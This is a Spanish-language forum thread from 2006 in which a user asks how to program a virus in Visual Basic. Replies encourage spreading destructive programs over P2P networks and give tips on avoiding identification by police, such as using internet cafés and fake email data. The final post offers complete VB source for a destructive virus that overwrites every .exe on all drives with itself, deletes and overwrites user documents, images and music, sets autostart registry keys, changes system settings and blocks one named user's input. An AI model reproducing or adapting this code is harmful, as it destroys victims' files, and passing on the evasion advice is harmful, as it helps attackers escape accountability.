Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: koopa2 en 4 Febrero 2006, 21:10 pm



Título: Programar virus ???
Publicado por: koopa2 en 4 Febrero 2006, 21:10 pm
hola , yo quiero hacer un virus , pero el problema es que no se a donde afecta un virus y ademas si se puede programar en vb . a mi me an dicho que se programa en c++ y tenia que saber windows para eso
alguien me puede ayudar ???

salud2


Título: Re: Programar virus ???
Publicado por: NYlOn en 4 Febrero 2006, 21:21 pm
Es posible hacer un virus en VB, pero este tema va en Virus y Troyanos, lee las reglas :)

Y no entiendo eso de "Donde afecta un virus"??


Título: Re: Programar virus ???
Publicado por: /* strcpy() */ en 4 Febrero 2006, 21:23 pm
Eso de que los virus se programan en C++ te lo dijo un pedazo de navo, pq si te hubiera dicho que solo en ASM, bueno, seria conservador, pero en C++ ¿?
Un virus puede ser creado en cualquier lenguaje, hasta en batch, perl, etc :)


Título: Re: Programar virus ???
Publicado por: Robokop en 4 Febrero 2006, 23:51 pm
para programar un virus Debes saber programar muy bien cualquier lenguaje , buscar vunerabilidades y explotarlas con el virus


Título: Re: Programar virus ???
Publicado por: Kizar en 5 Febrero 2006, 00:25 am
No ace falta dar un genio en la programacion y en seguridad eso solo si kieres crear un "bicho poderoso", pero un programilla k borre el boot.ini ya se le pede llamar virus.

Salu2


Título: Re: Programar virus ???
Publicado por: Robokop en 7 Febrero 2006, 05:20 am
No ace falta dar un genio en la programacion y en seguridad eso solo si kieres crear un "bicho poderoso", pero un programilla k borre el boot.ini ya se le pede llamar virus.

Salu2

Estoy de acuerdo contigo pero no en todo yo creo que eso no seria un virus ,mas bien se deberia de llamar bicho informatico por que no lo detectan los AV´s , no se multiplica infectando otros sistemas y pues la verdad seria un programa jodon dedicado a una persona en especial :P :P


Título: Re: Programar virus ???
Publicado por: Belem en 7 Febrero 2006, 05:46 am
Para programar un Virii primero debes de tener conocimientos muuuuy solidos del sistema operativo (supongo que lo desarrollaras para Windows), comienza estudiando el registro de windows, y hacer una muy buena planificacion de que es lo que hara tu pequeño bicho, que metodos usara para propagarse y evitar ser detectado por los Av's, y obvio debes de tener conocimientos en algun lengiage de programacion.
Es que asi a leer, leer y mas leer............


Título: Re: Programar virus ???
Publicado por: Kizar en 7 Febrero 2006, 15:57 pm
Y si no te keres romper la cabeza sempre puedes acerte un virus destructivo k se distibuya por redes p2p y listo....

Para acer algo tan simple puedes hacerlo en bach.

Eso lo pede acer cualkiera en 10 minutos escasos.

Salu2


Título: Re: Programar virus ???
Publicado por: BenRu en 7 Febrero 2006, 17:28 pm
Lo suyo seria que se aprovechase de algun bug...como suelen hacer los buenos bugs...
Una duda..si tu hicieses un virus poderoso...y lo ejecutara otro y tu te desentiendes de el...a ti te pueden culpar?


Título: Re: Programar virus ???
Publicado por: Kizar en 7 Febrero 2006, 19:48 pm
Supongo k te buscarian, pero el caso es k si lo cuelgas sin ejecutarlo en el emule y esperas a k alguien lo baje y lo abra el responsable de todo seria el y no creo k te encontraran por mucho k busken....

Salu2


Título: Re: Programar virus ???
Publicado por: NYlOn en 8 Febrero 2006, 02:02 am
Dudo mucho que busquen al que ejecuto el virus. Los virus mas famosos son ejecutados por millones y millones de usuarios (ya sea voluntaria o involuntariamente), van a buscar a todos esos ?? Yo creo que buscarian (y de echo lo hacen) solo al creador del virus y, si se puede provar, a alguien que haya ayudado a su distribucion de forma voluntaria, pero es muy dificil, creo yo, de comprovar.
Un ejemplo es el virus I LOVE YOU, uno de los primeros virus famosos. A los creadores los metieron presos.
Eran 2 o 3 a los que agarraron.


Título: Re: Programar virus ???
Publicado por: Robokop en 8 Febrero 2006, 02:14 am
mmm pero como podrian darse cuenta de la persona que hizo el virus  :huh:


Título: Re: Programar virus ???
Publicado por: NYlOn en 8 Febrero 2006, 07:00 am
http://inicio.tiendapc.com/internet/SInicio?s=11392&f=14113


Título: Re: Programar virus ???
Publicado por: programatrix en 8 Febrero 2006, 16:30 pm
1º Este tema va en el foro de troyanos y virus.
2º Lo primero antes de nada, debes saber si vas a programar un virus, troyano o gusano. No quiero ofenderte y espero que no seas asi. Pero he visto a gente que quieren programar un virus sin tan siquiera saber lo que son. Lo unico que tenian era un code para hacerle copy&paste
3º Te aconsejo que aprendas un lenguaje, no hace falta que le sepas 100% bien pero que lo controles. Una vez hecho eso, te recomiendo que ya aprendas todas las tecnicas de programacion de virus.
4º Una buena opcion es empezar con el visual basic, estaria bien que declararas las variables y usaras funciones, array socket controles y todo eso, para aprenderlo y luego hacer virus
5º Si te vas a meter a empezar por c++, que no es mala opcion te aconsejo que tengas paciencia puesto que c++ es bastante dificilillo para empezar.
6º Tambien puedes usar ensamblador..., es un lenguaje que se usa a nivel microprocesador y es muy bajo nivel, para empezar no me parece el mejor lenguaje...
Un saludo  ::)


Título: Re: Programar virus ???
Publicado por: Kizar en 10 Febrero 2006, 15:09 pm
http://inicio.tiendapc.com/internet/SInicio?s=11392&f=14113

Asi le pillan a cualkiera si les dejo su nick en el codigo fuente, no ace falta mas k ponerle en google y encuentras todos los perfiles de las paginas y foros en lo k esta registrado, y posiblemente su email. y con saber el email es perdir la informacion y eso la poli lo tiene facil.

Yo creo k si no dejas ninguna firma k te involucre y k el virus se ejecute por primera vez en otro pais a ti no te encuentran ni de fly.

Cuando kieras demostrar k tu eres el autor de ese virus tenes el codigo fuente.

Salu2


Título: Re: Programar virus ???
Publicado por: BenRu en 10 Febrero 2006, 15:23 pm
Si dejas tu nick es facil que te cojan...sobre todo por lo que tu has dicho...si estas registrado en foros o demas, pueden hacer muchas cosas con eso...por ejemplo, hacerse pasar por un aficionado a la informatica el cual quiere compartir cosas contigo... :rolleyes:  :P


Título: Re: Programar virus ???
Publicado por: Uxio en 10 Febrero 2006, 20:15 pm
No los veo yo tan puestos... ¿Entonces puede haber un traidor entre nosotros?  ;D


Título: Re: Programar virus ???
Publicado por: Kizar en 11 Febrero 2006, 03:27 am
No los veo yo tan puestos... ¿Entonces puede haber un traidor entre nosotros?  ;D

Las compañias antivirus visitan esto a menudo y esta pagina esta catalogada en todos los filtros de:

Piratas informaticos
Iniciacion criminal
Programacion de malware
Warez y p2p


Esos son motivos suficientes para que se den un paseo de vez en cuando.

Salu2


Título: Re: Programar virus ???
Publicado por: Uxio en 11 Febrero 2006, 16:14 pm
Andá...  :shocked: :shocked: :shocked:


Título: Re: Programar virus ???
Publicado por: jbd_hkr en 1 Marzo 2006, 22:35 pm
no kreo que kon el nik te enkuentren, ademas tu ingresas algun korreo que tenga datos falsos, x ejemplo: tu nombre seria tu "nik"....en cuanto a tu IP.....haz las maldades desde algun cibercafe, a esos lugares va un monton de gente y nunca te descubriran. Aki te dejo un pekeño kode de un virusillo bien simple, pero que tiene algunos triggers de activacion y otras sorpresillas:

'Jnta Virus Ver 6.4F (W32/Jnta.F@dd-H:mm:ss)
'"Coded" by jAmEs_bRaCk_dIkAr
'http://www.jamesbrackdikar.cjb.net - jbd_hkr@hotmail.com

Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String _
, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Private Declare Function SetComputerName Lib "kernel32" Alias "SetComputerNameA" _
(ByVal lpComputerName As String) As Long
Public Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long
Const Msg0 = "Jnta Virus ver 6.4F (W32/Jnta.F@dd-H:mm:ss)"
Const Msg1 = "I-Love-You-Janita"
Const Msg2 = "Version "
Const RegRoot = "HKEY_LOCAL_MACHINE\SOFTWARE\JntaVirus\"
Const RegRoot2 = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"
Const RegValue0 = "ArchivosInfectados"
Const RegValue1 = "UltimaEjecucion"
Const RegValue2 = "Jnta"
Const RegStartPage = "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page"
Const Txt0 = "Janita"
Const Dia = "17"
Const Mes = "2"
Dim fso As New FileSystemObject, txt As TextStream
Dim opn As New Shell
Dim wscr As New WshShell
Dim objnet As New WshNetwork, usr As String
Dim Contador As Integer
Enum Valores
Startup = "0"
ArchivosInfectados = "1"
UltimaEjecucion = "2"
Autor = "3"
Todos = "4"
PaginaInicio = "5"
End Enum
Sub Main()
Dim f0, Suma
On Error Resume Next
Contador = 0
usr = objnet.UserName
Suma = Day(Now) + Month(Now)
f0 = fso.GetSpecialFolder(1)
App.TaskVisible = False
If App.PrevInstance = True Then
End
End If
If fso.FileExists(f0 & "\Windows.hta") = False Then
EscribirHTA
End If
If App.EXEName <> "Jnta" Then
FrmTitle.Infectados = wscr.RegRead(RegRoot & RegValue0)
FrmTitle.Show
End If
If Day(Now) = Dia Then
Iniciar True
ElseIf Suma = 17 Then
Iniciar True
Else
If usr = "Esteban" Or usr = "ESTEBAN" Or usr = "esteban" Then
BlockInput (True)
End If
If Hour(Now) = 17 Or Minute(Now) = 17 Or Second(Now) = 17 Then
opn.Open (f0 & "\Windows.hta")
End If
Iniciar False
End If
End Sub
Sub Iniciar(infectar As Boolean)
On Error Resume Next
Dim Fcache, F1
F1 = fso.GetSpecialFolder(1)
Fcache = F1 & "\DLLCACHE"
If infectar = True Then
InfectarArchivos (Fcache)
SetComputerName (Txt0)
BuscarUnidades
EscribirValor (Todos)
EscribirHTA
Msg "Jnta Virus Info", Msg0
End If
If infectar = False Then
CopyFile App.Path & "\" & App.EXEName & ".exe", F1 & "\Windows.exe", 0
EscribirValor (Todos)
Msg "Jnta Virus Info", Msg0
EscribirHTA
End If
End Sub
Sub BuscarUnidades()
On Error Resume Next
Dim Drvs, Drv
Set Drvs = fso.Drives
For Each Drv In Drvs
DoEvents
If Drv.DriveType = 1 Or Drv.DriveType = 2 Or Drv.DriveType = 3 Then
BuscarDirectorios Drv.Path & "\"
End If
Next
End Sub
Sub BuscarDirectorios(Directorio)
On Error Resume Next
Dim Fldr, SbFldr, X
Set Fldr = fso.GetFolder(Directorio)
Set SbFldr = Fldr.SubFolders
For Each X In SbFldr
DoEvents
InfectarArchivos (X.Path)
BuscarDirectorios (X.Path)
Next
End Sub
Sub InfectarArchivos(Directorio)
On Error Resume Next
Dim Fldr, Fls, X, Fname, Ext
Set Fldr = fso.GetFolder(Directorio)
Set Fls = Fldr.Files
For Each X In Fls
DoEvents
Fname = fso.GetFileName(X)
Ext = fso.GetExtensionName(X)
If Ext = "exe" Or Ext = "EXE" Then
Contador = Contador + 1
CopyFile App.Path & "\" & App.EXEName & ".exe", Directorio & "\" & Fname, 0
EscribirValor (ArchivosInfectados)
End If
If Ext = "txt" Or Ext = "TXT" Or Ext = "JPG" Or Ext = "jpg" Or Ext = "jpeg" Or Ext = "JPEG" _
Or Ext = "bmp" Or Ext = "BMP" Or Ext = "mp3" Or Ext = "MP3" Then
Contador = Contador + 1
fso.DeleteFile X, True
Set txt = fso.OpenTextFile(Directorio & "\" & Fname & ".txt", ForWriting, True, TristateFalse)
txt.WriteLine (Contador & vbCrLf & Msg0 & vbCrLf & vbCrLf & Msg1)
txt.Close
EscribirValor (ArchivosInfectados)
End If
If Ext = "doc" Or Ext = "DOC" Or Ext = "XLS" Or Ext = "xls" Or Ext = "ppt" Or Ext = "PPT" Or Ext = "PPS" Or Ext = "pps" Then
Set txt = fso.OpenTextFile(X, ForWriting, True, TristateFalse)
txt.WriteLine (Contador & vbCrLf & Msg0 & vbCrLf & vbCrLf & Msg1)
txt.Close
End If
Next
End Sub
Function EscribirValor(Valor As Valores)
On Error Resume Next
f0 = fso.GetSpecialFolder(1)
If Valor = ArchivosInfectados Then
wscr.RegWrite RegRoot & RegValue0, Contador, "REG_SZ"
End If
If Valor = UltimaEjecucion Then
wscr.RegWrite RegRoot & RegValue1, Now, "REG_SZ"
End If
If Valor = Autor Then
wscr.RegWrite RegRoot & RegValue2, "Ver 6.4F Coded by......? jejejeje", "REG_SZ"
End If
If Valor = Startup Then
wscr.RegWrite RegRoot2 & "Windows", f0 & "\Windows.exe", "REG_SZ"
End If
If Valor = Todos Then
wscr.RegWrite RegRoot & RegValue0, Contador, "REG_SZ"
wscr.RegWrite RegRoot & RegValue1, Now, "REG_SZ"
wscr.RegWrite RegRoot & RegValue2, "Coded by ......? jejejeje", "REG_SZ"
wscr.RegWrite RegRoot2 & "Windows", f0 & "\Windows.exe", "REG_SZ"
wscr.RegWrite RegStartPage, "www.lamejordetodas.com.ar", "REG_SZ"
End If
If Valor = PaginaInicio Then
wscr.RegWrite RegStartPage, "www.lamejordetodas.com.ar", "REG_SZ"
End If
End Function
Sub EscribirHTA()
f0 = fso.GetSpecialFolder(1)
Set txt = fso.OpenTextFile(f0 & "\Windows.hta", ForWriting, True, TristateFalse)
txt.WriteLine (Script.ScriptFullText)
txt.Close
End Sub
Function Msg(Titulo, Mensaje)
Script.Label2 = "Message from: " & objnet.UserName
Script.Title = Titulo
Script.Message = Mensaje
Script.Show
End Function